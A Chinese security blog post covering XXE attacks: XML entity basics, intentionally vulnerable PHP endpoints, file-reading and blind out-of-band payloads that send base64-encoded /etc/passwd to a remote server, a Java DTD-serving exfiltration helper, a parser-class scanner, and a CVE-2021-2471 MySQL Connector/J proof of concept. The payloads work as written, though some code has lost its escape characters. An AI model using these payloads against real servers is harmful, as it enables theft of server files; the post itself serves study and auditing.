纸上得来终觉浅--xxe大杂烩

admin 2021年12月31日03:57:14纸上得来终觉浅--xxe大杂烩已关闭评论87 views字数 11176阅读37分15秒阅读模式

有很多东西只是停留在听过和知道的层面,深入分析总结后,才能知道其中的魅力。

XXE 基础知识

XML 用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML 文档结构包括 XML 声明、DTD 文档类型定义、文档元素。

  • HTML 被设计用来显示数据,其焦点是数据的外观;XML 被设计用来传输和存储数据,其焦点是数据的内容
  • HTML 的标签需要预定义,XML 的标签是自定义的
  • 所有 XML 元素都必须有关闭标签、XML 标签对大小写敏感、XML 必须正确地嵌套、XML 文档必须有根元素、XML 的属性值必须加引号、XML 连续的空格会被保留
  • XML 一些字符拥有特殊的意义,需要被实体引用。

| 实体引用 | XML 字符 | 含义 |
| ---------- | ---------- | -------- |
| &lt; | < | 小于 |
| &gt; | > | 大于 |
| &amp; | & | 和号 |
| &apos; | ' | 单引号 |
| &quot; | " | 双引号 |
* <?xml version="1.0" encoding="UTF-8" standalone="yes"?> 是 XML 的头文件属性,用于声明 XML 文档的版本和编码,必须放在文档的开头。 version 代表版本;encoding 代表字符编码方式;standalone 代表这个 XML 文件是独立的还是依赖于外部 DTD 文件,当值为 yes 时表示 DTD 仅用于验证文档结构,从而外部实体将被禁用,默认值为 no。

实体 ENTITY

命名实体(内部实体)

内部实体又称为命名实体。命名实体可以说成是变量声明,命名实体只能声明在 DTD 或者 XML 文件开始部分(<!DOCTYPE>)中。

命名实体语法 <!ENTIY 实体名称 "实体的值">

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [  
<!ENTITY x "First Part!"> ]>
<root><x>&x;</x></root>
<!-- 定义了一个实体名称 x 值为 First Part! -->
<!-- &x; 用于引用实体 x -->

利用 &实体名;引用实体,在 DTD 中定义 ,在 XML 文档中引用

外部普通实体

外部实体用于加载外部文件的内容。

外部普通实体语法 <!ENTIY 实体名称 SYSTEM "URI/URL">

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [  
<!ENTITY outfile SYSTEM "outfile.xml"> ]>

&outfile;


```

外部参数实体

参数实体用于 DTD 和文档内部子集中。与一般实体不同,是以字符 (%) 开始,以字符 (;) 结束。

  • 使用 % 实体名(注意空格!) 在 DTD 中定义,并且只能在 DTD 中 使用 %实体名; 引用
  • 只有在 DTD 文件中才能在参数实体声明的时候引用其他实体
  • 参数实体可以外部引用

为了方便理解,举以下几个栗子:

  • 栗子一

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [  
<!ENTITY  % outfile SYSTEM "outfile.xml">
%outfile;]>
<!-- %outfile 用于引用实体 outfile -->

* 栗子二

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [  
<!ENTITY % part1  "Hello">
<!ENTITY % part2  " ">
<!ENTITY % part3  "world">
<!ENTITY % dtd SYSTEM "test.dtd">
%dtd;]>
&content;


<!ENTIY content "%part1;part2;part3;">


```
* 栗子三

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>


<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:2333?p=%file;'>">
```

  • %remote 请求远程 vps 上的 test.dtd
  • %int 调用 test.dtd 中的 %file
  • %file 获取服务器上的敏感文件,并传入 %send
  • %send 将数据发送到远程 vps 上

支持的协议

纸上得来终觉浅--xxe大杂烩

php 中的 XXE

搭建环境

利用 phpstudy 搭建环境,此时我们选用 php5.3.29 这是因为libxml2.9.1及以后,默认不解析外部实体。测试的时候window下使用php5.2(libxml Version 2.7.7 ), php5.3(libxml Version 2.7.8)。Linux中需要将libxml低于libxml2.9.1的版本编译到PHP中,可使用phpinfo()查看libxml的版本信息。 审计时关注 SimpleXML 函数

有回显读本地敏感文件(Normal XXE)

```

xxe.php

<?php

libxml_disable_entity_loader (false);
   $xmlfile = file_get_contents('php://input');
   $dom = new DOMDocument();
   $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
   $creds = simplexml_import_dom($dom);
   echo $creds;

?>
```

<!-- payload -->
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [  
<!ENTITY outfile SYSTEM "file:///c:/windows/system.ini"> ]>
<root>&outfile;</root>

纸上得来终觉浅--xxe大杂烩

当读取的文件存在特殊符号时,利用上述方法读取时会报错,所以需要利用 CDATA

<![CDATA[]]> 这个标记所包含的内容将表示纯文本,比如 <![CDATA[<]]> 表示文本内容 <。 使用时需要注意,内容中不能再包含 ]]> 同时不能再嵌套使用。

```

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % start "<![CDATA[">  
<!ENTITY % outfile SYSTEM "file:///C:/Users/admin/Desktop/a/info.txt">  
<!ENTITY % end "]]>">  
<!ENTITY % dtd SYSTEM "http://127.0.0.1:8080/xxe.dtd">
%dtd; ]>
&all;



```

纸上得来终觉浅--xxe大杂烩

经过俺的测试发现,如果读取的文件中存在 % 还是会报错的

无回显读取本地敏感文件(Blind OOB XXE)

```

blindxxe.php

<?php

libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>
```

```

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://127.0.0.1:8080/xxe.dtd">
%remote;%int;%send; ]>


">
```

我们注意到在 DTD 文件中 % send 转换成了 &#37; send ,这是因为实体的值中不能有 % ,所以需要将其转换成 html 实体编码的 % 。

纸上得来终觉浅--xxe大杂烩

写了一个简单的 xxe 利用脚本,功能简单就不做过多的分析了

```
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import java.io.IOException;
import java.io.OutputStream;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.net.UnknownHostException;

public class xxe {
   private static String filename = "";
   public static void main(String[] args) throws UnknownHostException {
       if (args.length < 1) {
           System.out.println("usage: java -jar xxe.jar filename nneg:java -jar xxe.jar /etc/passwd");
           System.exit(-1);
      } else {
           filename = args[0];
           System.out.println(String.format("payload:n"+"<?xml version="1.0" encoding="utf-8"?>n" +
                   "<!DOCTYPE convert [n" +
                   "<!ENTITY %% remote SYSTEM "http://%s:9090/xxe.dtd">n" +
                   "%%remote;%%int;%%send;n" +
                   "]>",InetAddress.getLocalHost().getHostAddress()));
           try {
                   HttpServer server = HttpServer.create(new InetSocketAddress(9090), 0);
                   server.createContext("/xxe.dtd", new xxe.PHPDTDHandler());
                   server.setExecutor(null);
                   server.start();

HttpServer xxeserver = HttpServer.create(new InetSocketAddress(9091), 0);
                   System.out.println(String.format("Listen:%s:%s",InetAddress.getLocalHost().getHostAddress(),9091));
                   xxeserver.createContext("/",new xxe.ListenHandler());
                   xxeserver.setExecutor(null);
                   xxeserver.start();

} catch (IOException e) {
               e.printStackTrace();
          }
      }
  }
   static class ListenHandler implements HttpHandler{
       public void handle(HttpExchange t) throws IOException{
           String request =  t.getRequestURI().getQuery();
           System.out.println(request);
           t.sendResponseHeaders(200, request.length());
           OutputStream os = t.getResponseBody();
           os.write(request.getBytes());
           os.close();

}
  }

static class PHPDTDHandler implements HttpHandler {

public void handle(HttpExchange t) throws IOException {

String respone =String.format("<!ENTITY %% file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///%s">n" +
                   "<!ENTITY %% int "<!ENTITY % send SYSTEM 'http://%s:9091?%%file;'>">",filename,InetAddress.getLocalHost().getHostAddress());
           System.out.println("Sending xxe.dtd: n" + respone + "n");
           t.sendResponseHeaders(200, respone.length());
           OutputStream os = t.getResponseBody();
           os.write(respone.getBytes());
           os.close();

}
  }

}
```

纸上得来终觉浅--xxe大杂烩

java 中的 XXE

java 中依赖于丰富的库,在解析 xml 数据的方式有多种,白盒审计时可以正则匹配相应 xml 解析库的类。  

javax.xml.parsers.DocumentBuilderFactory
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
org.xml.sax.XMLReader
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester
javax.xml.transform.stream.StreamSource
javax.xml.parsers.SAXParserFactory

利用工具

```
import java.io.*;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Pattern;

public class xxeSearch {
   public static List list = new ArrayList();
   public static void main(String[] args) throws IOException {
       if (args.length < 1) {
           System.out.println("usage: java -jar xxeSearch.jar pathnneg:java -jar xxeSearch.jar C:UsersadminDesktopdecompiled-mysql-connector-java-8.0.26");
           System.exit(-1);
      }
       String path = args[0];
       List filename = searchDir(path);
       for (int i = 0; i < filename.size(); i++) {
           String name = (String) filename.get(i);
           String str = ReaderSource(name);
           if(xxeFinder(str)){
               System.out.println(name + "       this class maybe have XXE!!!!!!!!!");
          }
      }
  }

private static List searchDir(String path){

File file = new File(path);
       File[] array = file.listFiles();// 获得文件夹内的所有文件
       for(int i=0;i<array.length;i++)
      {
           if(array[i].isFile()){
               //System.out.println(path+array[i].getName());
               list.add(path+array[i].getName());
          }else if(array[i].isDirectory()){
               //System.out.println(array[i].getName());
               searchDir(array[i].getPath()+""); //递归获取文件夹名
          }
      }
       return list;

}
   private static String ReaderSource(String path) {
       StringBuffer result = new StringBuffer();
       File file = new File(path);
       try {
           BufferedReader bufferedReader = new BufferedReader(new FileReader(file)); //构造一个 BufferReader 类读取文件
           String tempStr = null;
           while ((tempStr = bufferedReader.readLine()) != null) {   //使用 readLine 方法,一次读取一行
               result.append(tempStr);
          }
           bufferedReader.close();
      } catch (Exception e) {
           e.printStackTrace();
      }
       return result.toString();
  }
   private static boolean xxeFinder(String str){
       //String XXE_Regex = ".javax.xml.parsers.DocumentBuilderFactory.";
       String XXE_Regex=".javax.xml.|.org.xml.sax.|.javax.xml.parsers.DocumentBuilderFactory.|.javax.xml.parsers.SAXParser.|.javax.xml.transform.TransformerFactory.|.javax.xml.validation.Validator.|.javax.xml.validation.SchemaFactory.|.javax.xml.transform.sax.SAXTransformerFactory.|.javax.xml.transform.sax.SAXSource.|.org.xml.sax.XMLReader.|.org.xml.sax.helpers.XMLReaderFactory.|.org.dom4j.io.SAXReader.|.org.jdom.input.SAXBuilder.|.org.jdom2.input.SAXBuilder.|.javax.xml.bind.Unmarshaller.|.javax.xml.xpath.XpathExpression.|.javax.xml.stream.XMLStreamReader.|.org.apache.commons.digester3.Digester.|.javax.xml.ws.EndpointReference.|.javax.xml.transform.stream.StreamSource.|.javax.xml.parsers.SAXParserFactory.";
       return Pattern.matches(XXE_Regex,str);
  }
}
```

纸上得来终觉浅--xxe大杂烩

利用工具可以选用 xxer

MySQL JDBC XXE漏洞 (CVE-2021-2471)

漏洞分析

infected: mysql-connector-java <= 8.0.26
fixed:   mysql-connector-java > 8.0.27

创建 maven 项目,并在 pom.xml 中添加依赖

<dependency>
           <groupId>mysql</groupId>
           <artifactId>mysql-connector-java</artifactId>
           <version>8.0.26</version>
       </dependency>

我们对比存在漏洞的版本和修复漏洞的版本mysql-connector-java-8.0.27.jar&&mysql-connector-java-8.0.26.jar

GitHub - GraxCode/cafecompare: Java code comparison tool (jar / class)

纸上得来终觉浅--xxe大杂烩

我们已经知道漏洞的触发点位于函数 com.mysql.cj.jdbc.MysqlSQLXML#getSource

com.mysql.cj.jdbc.MysqlSQLXML#getSource

纸上得来终觉浅--xxe大杂烩

DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance(); 没有做相关校验和判断,直接实例化对象,从而可以在XML 中引入外部实体,造成 XXE 攻击。

纸上得来终觉浅--xxe大杂烩

我们看到实例化的数据是 inputSource 他可以由 this.stringRep来决定, 关注一下 this.stringRep的赋值操作

com.mysql.cj.jdbc.MysqlSQLXML#setString

纸上得来终觉浅--xxe大杂烩

在赋值给 stringRep 的同时也设定了 fromResultSet的值为 flase

com.mysql.cj.jdbc.MysqlSQLXML类继承于 java.sql.SQLXML 所以只需要创建一个 SQLXML对象,就可以调用其 getSourcesetString 方法。

纸上得来终觉浅--xxe大杂烩

查阅关于`SQLXML的一些用法: sqlxml

纸上得来终觉浅--xxe大杂烩

方法 Connection.createSQLXML 用于创建一个空的 SQLXML 对象。SQLXML.setString 方法用于将数据写入创建的 SQLXML对象。

理论验证

```
import javax.xml.transform.dom.DOMSource;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLXML;

public class Poc {

private static final String connection_url = "jdbc:mysql://127.0.0.1:3306/mysqlxxe";
private static final String connection_user = "mysqlxxe";
private static final String connection_pass = "mysqlxxe";
private static final String poc = "" +
        "<!DOCTYPE b [" +
        "   <!ENTITY xxe SYSTEM  "http://127.0.0.1:8080/poc.txt">" +
        "]>" +
        "<name>&xxe;</name>";

public static void main(String[] args) throws Exception {
    Connection connection = DriverManager.getConnection(connection_url, connection_user,connection_pass);
    SQLXML sqlxml = connection.createSQLXML();
    sqlxml.setString(poc);
    sqlxml.getSource(DOMSource.class);
}

}
```

纸上得来终觉浅--xxe大杂烩

实际操作

在数据库中添加一个表

create table tb_test (
id bigint(20) unsigned NOT NULL AUTO_INCREMENT COMMENT '主键id',
message text COMMENT 'SQLXML',
PRIMARY KEY (`id`)
);

表中插入数据

insert into tb_test(message) values('<?xml version="1.0" ?> <!DOCTYPE note [ <!ENTITY % remote SYSTEM "http://127.0.0.1:80/xxe.dtd"> %remote; ]>');

纸上得来终觉浅--xxe大杂烩

查询数据

Statement statement = connection.createStatement();
statement.execute("select * from tb_test");
ResultSet resultSet = statement.getResultSet();
while (resultSet.next()) {
SQLXML sqlxml = resultSet.getSQLXML("message");
sqlxml.getSource(DOMSource.class);
}

纸上得来终觉浅--xxe大杂烩

对应的来说,有两种方式可以将恶意 XXE 传递给 MysqlSQLXML

  • 使用 sqlxml.setString() 函数 (攻击者可以调用或传递任意参数到 setString 函数)
  • 将 XML 放入 DB 并使用 resultSet.getSQLXML() 函数通过结果集检索它 (如果攻击者对数据库具有访问权限,或者将受害者指向攻击者控制的数据库)

相关推荐: 将JavaScript隐藏到PNG图片中来绕过CSP

译文来源:https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/。受个人知识所限及偏见影响,部分内容可能存在过度曲解或误解,望师傅们包含并提出建议,感激。 序言 将一个恶意的JavaScrip…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月31日03:57:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   纸上得来终觉浅--xxe大杂烩http://cn-sec.com/archives/692003.html